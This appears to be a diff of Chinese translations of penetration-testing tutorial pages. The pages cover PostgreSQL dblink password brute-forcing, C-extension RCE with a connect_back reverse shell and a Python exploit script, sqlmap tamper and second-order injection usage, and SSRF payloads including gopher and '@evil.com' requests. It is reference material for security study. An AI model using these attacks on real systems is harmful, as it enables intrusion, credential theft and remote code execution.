在这种情况下,如果**`dblink`**函数**正常工作**,您可以通过通过已建立的连接连接到数据库来**提升权限**,并访问不应该能够访问的数据:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=postgres
|
||||
|
||||
@ -24,13 +24,13 @@ lanname | lanacl
|
||||
---------+-----------------
|
||||
plpgsql | {admin=U/admin}
|
||||
```
|
||||
请注意,为了使以下脚本正常工作,**需要存在函数 `dblink`**。如果不存在,您可以尝试使用
|
||||
请注意,为了使以下脚本正常工作,**需要存在函数 `dblink`**。如果不存在,您可以尝试通过
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
## 密码暴力破解
|
||||
|
||||
以下是如何执行4个字符密码的暴力破解:
|
||||
这里是如何进行4个字符密码的暴力破解:
|
||||
```sql
|
||||
//Create the brute-force function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
@ -71,7 +71,7 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
_请注意,即使是暴力破解4个字符也可能需要几分钟。_
|
||||
|
||||
您还可以**下载一个密码字典**并仅尝试那些密码(字典攻击):
|
||||
您还可以**下载一个字典**并仅尝试那些密码(字典攻击):
|
||||
```sql
|
||||
//Create the function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## PostgreSQL Extensions
|
||||
|
||||
PostgreSQL 的核心特性是可扩展性,允许它无缝集成扩展,就像内置功能一样。这些扩展本质上是用 C 编写的库,为数据库提供额外的函数、操作符或类型。
|
||||
PostgreSQL 的核心特性是可扩展性,允许它无缝集成扩展,就像它们是内置功能一样。这些扩展,基本上是用 C 编写的库,为数据库提供额外的函数、运算符或类型。
|
||||
|
||||
从 8.1 版本开始,对扩展库施加了特定要求:它们必须使用特殊头文件编译。没有这个,PostgreSQL 将不会执行它们,确保只使用兼容且可能安全的扩展。
|
||||
|
||||
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
此错误在[PostgreSQL文档](https://www.postgresql.org/docs/current/static/xfunc-c.html)中有解释:
|
||||
|
||||
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中,PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性,例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始,魔法块是必需的。要包含魔法块,请在包含头文件fmgr.h之后,在模块源文件中的一个(且仅一个)位置写入以下内容:
|
||||
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中,PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性,例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始,魔法块是必需的。要包含魔法块,请在包含头文件fmgr.h之后,在模块源文件中的一个(且仅一个)位置写入:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
@ -254,15 +254,15 @@ PG_RETURN_INT32(arg + 1);
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
[PolyUDF项目](https://github.com/rop-la/PolyUDF)也是一个很好的起点,包含完整的MS Visual Studio项目和一个现成的库(包括:_command eval_,_exec_和_cleanup_)以及多版本支持。
|
||||
[PolyUDF项目](https://github.com/rop-la/PolyUDF)也是一个很好的起点,提供完整的MS Visual Studio项目和一个现成的库(包括:_command eval_,_exec_和_cleanup_)以及多版本支持。
|
||||
|
||||
### 最新PostgreSQL版本中的RCE
|
||||
|
||||
在**最新版本**的PostgreSQL中,施加了限制,`superuser`被**禁止**从特定目录以外**加载**共享库文件,例如Windows上的`C:\Program Files\PostgreSQL\11\lib`或\*nix系统上的`/var/lib/postgresql/11/lib`。这些目录对NETWORK_SERVICE或postgres账户的写操作是**安全的**。
|
||||
在**最新版本**的PostgreSQL中,施加了限制,`superuser`被**禁止**从特定目录以外的地方**加载**共享库文件,例如在Windows上的`C:\Program Files\PostgreSQL\11\lib`或在\*nix系统上的`/var/lib/postgresql/11/lib`。这些目录对NETWORK_SERVICE或postgres账户的写操作是**安全的**。
|
||||
|
||||
尽管有这些限制,经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入,这对于更新或创建表等数据库操作至关重要。
|
||||
尽管有这些限制,经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统中。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入,这对于更新或创建表等数据库操作至关重要。
|
||||
|
||||
一个显著的漏洞来自于`CREATE FUNCTION`命令,它**允许目录遍历**到数据目录。因此,经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录,然后**加载它**。此漏洞使攻击者能够执行任意代码,实现系统上的本地代码执行。
|
||||
一个显著的漏洞来自于`CREATE FUNCTION`命令,它**允许目录遍历**到数据目录。因此,经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录,然后**加载它**。这个漏洞使攻击者能够执行任意代码,实现系统上的本地代码执行。
|
||||
|
||||
#### 攻击流程
|
||||
|
||||
@ -277,11 +277,11 @@ big-binary-files-upload-postgresql.md
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_请注意,您不需要附加 `.dll` 扩展名,因为创建函数会自动添加它。_
|
||||
_注意,您不需要附加 `.dll` 扩展名,因为创建函数会自动添加它。_
|
||||
|
||||
有关更多信息,请**阅读**[**原始出版物**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
|
||||
在该出版物中,**这是**[**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展,请阅读之前的任何版本_).\
|
||||
在同一页面上,**提供了自动化**此技术的**利用**:
|
||||
有关更多信息 **请阅读**[ **原始出版物在这里**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
|
||||
在该出版物中 **这是** [**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展,请阅读之前的任何版本_).\
|
||||
在同一页面上提供了 **自动化** 此技术的 **利用**:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
@ -319,7 +319,7 @@ print("(+) for a db cleanup only, run the following sql:")
|
||||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||||
print(" drop function connect_back(text, integer);")
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
大多数可以在 PostgreSQL 中安装的脚本语言有 **2 种类型**:**受信任的**和**不受信任的**。**不受信任的**语言名称**以 "u" 结尾**,并且是允许你**执行代码**和使用其他有趣功能的版本。如果安装了这些语言,它们会很有趣:
|
||||
大多数可以在 PostgreSQL 中安装的脚本语言有 **2 种类型**:**受信任的** 和 **不受信任的**。**不受信任的** 语言名称 **以 "u" 结尾**,并且是允许你 **执行代码** 和使用其他有趣功能的版本。如果安装了这些语言,它们会很有趣:
|
||||
|
||||
- **plpythonu**
|
||||
- **plpython3u**
|
||||
@ -22,7 +22,7 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
- ...(任何其他使用不安全版本的编程语言)
|
||||
|
||||
> [!WARNING]
|
||||
> 如果你发现一个有趣的语言是**已安装**但被 PostgreSQL **标记为不受信任**(**`lanpltrusted`** 为 **`false`**),你可以尝试用以下语句**信任它**,这样 PostgreSQL 就不会施加任何限制:
|
||||
> 如果你发现一个有趣的语言是 **已安装** 但被 PostgreSQL **标记为不受信任**(**`lanpltrusted`** 为 **`false`**),你可以尝试用以下语句 **信任它**,这样 PostgreSQL 就不会施加任何限制:
|
||||
>
|
||||
> ```sql
|
||||
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||
@ -31,7 +31,7 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
> ```
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果你没有看到某种语言,你可以尝试加载它(**你需要是超级管理员**):
|
||||
> 如果你没有看到某个语言,你可以尝试加载它(**你需要是超级管理员**):
|
||||
>
|
||||
> ```
|
||||
> CREATE EXTENSION plpythonu;
|
||||
@ -41,7 +41,7 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
> CREATE EXTENSION plrubyu;
|
||||
> ```
|
||||
|
||||
请注意,可以将安全版本编译为“不安全”。例如,查看 [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此,如果你只发现安装了**受信任的**版本,尝试执行代码总是值得的。
|
||||
请注意,可以将安全版本编译为“不安全”。例如,查看 [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此,即使你只发现安装了 **受信任的** 版本,尝试执行代码也是值得的。
|
||||
|
||||
## plpythonu/plpython3u
|
||||
|
||||
@ -75,7 +75,7 @@ SELECT get_user(""); #Get user, para is useless
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="List dir"}}
|
||||
{{#tab name="列出目录"}}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
||||
@ -108,7 +108,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
## 修改
|
||||
## 篡改
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -121,13 +121,13 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
|
||||
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 \('>'\) |
|
||||
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
|
||||
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符) |
|
||||
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码 \(不处理已编码的字符\) |
|
||||
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例 |
|
||||
| commalessmid.py | 用 'MID\(A FROM B FOR C\)' 替换 'MID\(A, B, C\)' 的实例 |
|
||||
| concat2concatws.py | 用 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' 替换 'CONCAT\(A, B\)' 的实例 |
|
||||
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符) |
|
||||
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。 "%u0022" |
|
||||
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。 "\u0022" |
|
||||
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码 \(不处理已编码的字符\) |
|
||||
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码 \(不处理已编码的字符\)。 "%u0022" |
|
||||
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码 \(不处理已编码的字符\)。 "\u0022" |
|
||||
| equaltolike.py | 用运算符 'LIKE' 替换运算符等于 \('='\) 的所有出现 |
|
||||
| escapequotes.py | 斜杠转义引号 \(' 和 "\) |
|
||||
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 \('>'\) |
|
||||
@ -135,31 +135,31 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| ifnull2ifisnull.py | 用 'IF\(ISNULL\(A\), B, A\)' 替换 'IFNULL\(A, B\)' 的实例 |
|
||||
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
|
||||
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
|
||||
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
|
||||
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace\("SELECT", ""\) 过滤器) |
|
||||
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
|
||||
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字 \(例如 .replace\("SELECT", ""\) 过滤器\) |
|
||||
| percentage.py | 在每个字符前添加百分号 \('%'\) |
|
||||
| overlongutf8.py | 转换给定有效负载中的所有字符(不处理已编码的字符) |
|
||||
| overlongutf8.py | 转换给定有效负载中的所有字符 \(不处理已编码的字符\) |
|
||||
| randomcase.py | 用随机大小写值替换每个关键字字符 |
|
||||
| randomcomments.py | 向 SQL 关键字添加随机注释 |
|
||||
| securesphere.py | 附加特殊构造的字符串 |
|
||||
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
|
||||
| space2comment.py | 用注释替换空格字符 \(' '\) |
|
||||
| space2dash.py | 用一个破折号注释 \('--'\) 替换空格字符 \(' '\),后跟一个随机字符串和换行符 \('\n'\) |
|
||||
| space2hash.py | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\),后跟一个随机字符串和换行符 \('\n'\) |
|
||||
| space2morehash.py | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\),后跟一个随机字符串和换行符 \('\n'\) |
|
||||
| space2dash.py | 用破折号注释 \('--'\) 替换空格字符 \(' '\),后跟随机字符串和换行符 \('\n'\) |
|
||||
| space2hash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\),后跟随机字符串和换行符 \('\n'\) |
|
||||
| space2morehash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\),后跟随机字符串和换行符 \('\n'\) |
|
||||
| space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
|
||||
| space2mssqlhash.py | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\),后跟一个换行符 \('\n'\) |
|
||||
| space2mssqlhash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\),后跟换行符 \('\n'\) |
|
||||
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
|
||||
| space2mysqldash.py | 用一个破折号注释 \('--'\) 替换空格字符 \(' '\),后跟一个换行符 \('\n'\) |
|
||||
| space2mysqldash.py | 用破折号注释 \('--'\) 替换空格字符 \(' '\),后跟换行符 \('\n'\) |
|
||||
| space2plus.py | 用加号 \('+'\) 替换空格字符 \(' '\) |
|
||||
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
|
||||
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 \(&& 和 |
|
||||
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
|
||||
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 \('\),并在末尾添加通用注释(以使其工作) |
|
||||
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
|
||||
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 \('\),并在末尾添加通用注释 \(以使其工作\) |
|
||||
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
|
||||
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
|
||||
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
|
||||
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
|
||||
| xforwardedfor.py | 附加一个假 HTTP 头 'X-Forwarded-For' |
|
||||
| xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -47,7 +47,7 @@
|
||||
|
||||
## 注入位置
|
||||
|
||||
### 来自 Burp/ZAP 捕获
|
||||
### 从 Burp/ZAP 捕获
|
||||
|
||||
捕获请求并创建一个 req.txt 文件
|
||||
```bash
|
||||
@ -147,12 +147,12 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>') |
|
||||
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
|
||||
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符) |
|
||||
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
|
||||
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
|
||||
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换类似 'MID(A, B, C)' 的实例 |
|
||||
| concat2concatws.py | 用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换类似 'CONCAT(A, B)' 的实例 |
|
||||
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符) |
|
||||
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已编码的字符)。 "%u0022" |
|
||||
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已编码的字符)。 "\u0022" |
|
||||
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。"%u0022" |
|
||||
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。"\u0022" |
|
||||
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现 |
|
||||
| escapequotes.py | 斜杠转义引号 (' 和 ") |
|
||||
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
|
||||
@ -161,7 +161,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
|
||||
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
|
||||
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
|
||||
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace("SELECT", "")过滤器) |
|
||||
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace("SELECT", "")过滤器 |
|
||||
| percentage.py | 在每个字符前添加百分号 ('%') |
|
||||
| overlongutf8.py | 转换给定有效负载中的所有字符(不处理已编码的字符) |
|
||||
| randomcase.py | 用随机大小写值替换每个关键字字符 |
|
||||
@ -169,15 +169,15 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| securesphere.py | 附加特殊构造的字符串 |
|
||||
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
|
||||
| space2comment.py | 用注释替换空格字符 (' ') |
|
||||
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2hash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2morehash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2mssqlblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2mssqlhash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟换行符 ('\n') |
|
||||
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2mysqlblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2mysqldash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n') |
|
||||
| space2plus.py | 用加号 ('+') 替换空格字符 (' ') |
|
||||
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2randomblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| symboliclogical.py | 用其符号对应物 (&& 和) 替换 AND 和 OR 逻辑运算符 |
|
||||
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
|
||||
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释(以使其工作) |
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
保存 SQL 注入 payload 的请求 **与 sqlmap 中的任何其他注入相同**。可以使用 `--second-url` 或 `--second-req` 指定 **sqlmap 可以读取注入的输出/执行** 的请求,如果您需要从文件中指示完整请求。
|
||||
|
||||
**简单的二次注入示例:**
|
||||
**简单的二次示例:**
|
||||
```bash
|
||||
#Get the SQL payload execution with a GET to a url
|
||||
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
||||
@ -46,16 +46,16 @@ headers = kwargs.get("headers", {})
|
||||
login_account(payload)
|
||||
return payload
|
||||
```
|
||||
一个 **SQLMap tamper 总是在开始注入尝试之前执行,并且必须返回一个有效负载**。在这种情况下,我们不关心有效负载,但我们关心发送一些请求,因此有效负载不会改变。
|
||||
一个 **SQLMap tamper 总是在使用有效载荷开始注入尝试之前执行** **并且它必须返回一个有效载荷**。在这种情况下,我们不关心有效载荷,但我们关心发送一些请求,因此有效载荷没有改变。
|
||||
|
||||
因此,如果出于某种原因,我们需要一个更复杂的流程来利用二次 SQL 注入,例如:
|
||||
因此,如果出于某种原因我们需要一个更复杂的流程来利用二次 SQL 注入,例如:
|
||||
|
||||
- 在“email”字段中创建一个包含 SQLi 有效负载的帐户
|
||||
- 在“email”字段中创建一个包含 SQLi 有效载荷的帐户
|
||||
- 登出
|
||||
- 使用该帐户登录 (login.txt)
|
||||
- 发送请求以执行 SQL 注入 (second.txt)
|
||||
|
||||
**这条 sqlmap 命令将会有所帮助:**
|
||||
**这条 sqlmap 命令将有所帮助:**
|
||||
```bash
|
||||
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
|
||||
##########
|
||||
|
||||
@ -30,7 +30,7 @@ url-format-bypass.md
|
||||
|
||||
### 通过开放重定向绕过
|
||||
|
||||
如果服务器得到了正确的保护,您可以 **通过利用网页中的开放重定向来绕过所有限制**。因为网页将允许 **SSRF 到同一域**,并且可能会 **跟随重定向**,您可以利用 **开放重定向使服务器访问内部任何资源**。\
|
||||
如果服务器得到了正确的保护,您可以 **通过利用网页中的开放重定向来绕过所有限制**。因为网页将允许 **SSRF 到同一域**,并可能会 **跟随重定向**,您可以利用 **开放重定向使服务器访问内部任何资源**。\
|
||||
在这里阅读更多信息: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## 协议
|
||||
@ -42,7 +42,7 @@ url-format-bypass.md
|
||||
- **SFTP://**
|
||||
- 被识别为通过安全外壳进行安全文件传输的协议,提供了一个示例,展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
- 提到简单文件传输协议,操作在 UDP 上,提供了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发送 TFTP 请求以获取文件 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- 提到简单文件传输协议,操作在 UDP 上,给出了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发送 TFTP 请求以获取文件 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- **LDAP://**
|
||||
- 本节涵盖轻量级目录访问协议,强调其在 IP 网络上管理和访问分布式目录信息服务的用途。通过 ssrf.php 与本地主机上的 LDAP 服务器交互: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
- **SMTP**
|
||||
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
||||
4. connect
|
||||
```
|
||||
- **Curl URL globbing - WAF 绕过**
|
||||
- 如果 SSRF 是通过 **curl** 执行的,curl 有一个叫做 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能,这可能对绕过 WAF 有用。例如,在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中,你可以找到一个关于 **通过 `file` 协议进行路径遍历** 的示例:
|
||||
- 如果 SSRF 是通过 **curl** 执行的,curl 有一个叫做 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能,这可能对绕过 WAF 有用。例如,在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中,你可以找到这个关于 **通过 `file` 协议的路径遍历** 的例子:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
@ -64,7 +64,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
|
||||
### Gopher://
|
||||
|
||||
使用此协议,您可以指定服务器要**发送**的**IP、端口和字节**。然后,您基本上可以利用SSRF与**任何TCP服务器**进行**通信**(但您需要先知道如何与该服务对话)。\
|
||||
使用此协议,您可以指定服务器要**发送的IP、端口和字节**。然后,您基本上可以利用SSRF来**与任何TCP服务器通信**(但您需要先知道如何与该服务对话)。\
|
||||
幸运的是,您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效载荷。此外,[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可以用于为_Java RMI_服务创建_gopher_有效载荷。
|
||||
|
||||
**Gopher smtp**
|
||||
@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
```
|
||||
## SSRF通过引荐头和其他方式
|
||||
|
||||
服务器上的分析软件通常会记录引荐头以跟踪传入链接,这种做法无意中使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为此类软件可能会访问引荐头中提到的外部URL,以分析引用网站的内容。为了发现这些漏洞,建议使用Burp Suite插件“**Collaborator Everywhere**”,利用分析工具处理Referer头的方式来识别潜在的SSRF攻击面。
|
||||
服务器上的分析软件通常会记录引荐头以跟踪传入链接,这种做法无意中使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为此类软件可能会访问引荐头中提到的外部URL,以分析引用网站内容。为了发现这些漏洞,建议使用Burp Suite插件“**Collaborator Everywhere**”,利用分析工具处理Referer头的方式来识别潜在的SSRF攻击面。
|
||||
|
||||
## SSRF通过证书中的SNI数据
|
||||
|
||||
@ -121,7 +121,7 @@ ssl_preread on;
|
||||
}
|
||||
}
|
||||
```
|
||||
在此配置中,服务器名称指示(SNI)字段中的值被直接用作后端地址。此设置暴露了服务器端请求伪造(SSRF)漏洞,可以通过在SNI字段中仅指定所需的IP地址或域名来利用。以下是一个利用示例,强制连接到任意后端,例如 `internal.host.com`,使用 `openssl` 命令如下:
|
||||
在此配置中,服务器名称指示(SNI)字段中的值被直接用作后端地址。此设置暴露了服务器端请求伪造(SSRF)漏洞,可以通过在SNI字段中仅指定所需的IP地址或域名来利用。以下是一个利用示例,使用`openssl`命令强制连接到任意后端,例如`internal.host.com`:
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
@ -133,7 +133,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
|
||||
## PDFs 渲染
|
||||
|
||||
如果网页自动创建一个包含您提供的一些信息的 PDF,您可以 **插入一些 JS,这些 JS 将在创建 PDF 时由 PDF 创建者(服务器)执行**,您将能够利用 SSRF。[**在这里找到更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
如果网页自动创建一个包含您提供的一些信息的 PDF,您可以 **插入一些 JS,这些 JS 将由 PDF 创建者**(服务器)在创建 PDF 时执行,您将能够利用 SSRF。 [**在这里找到更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## 从 SSRF 到 DoS
|
||||
|
||||
@ -218,7 +218,7 @@ Connection: close
|
||||
|
||||
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现请求的**路径**可以以字符**`;`**开头,这允许使用**`@`**并注入一个新主机进行访问。攻击请求:
|
||||
发现请求的**路径**可以以字符**`;`**开头,这允许使用**`@`**并注入一个新主机以进行访问。攻击请求:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
@ -261,7 +261,7 @@ Connection: close
|
||||
|
||||
### 自动化 DNS Rebidding
|
||||
|
||||
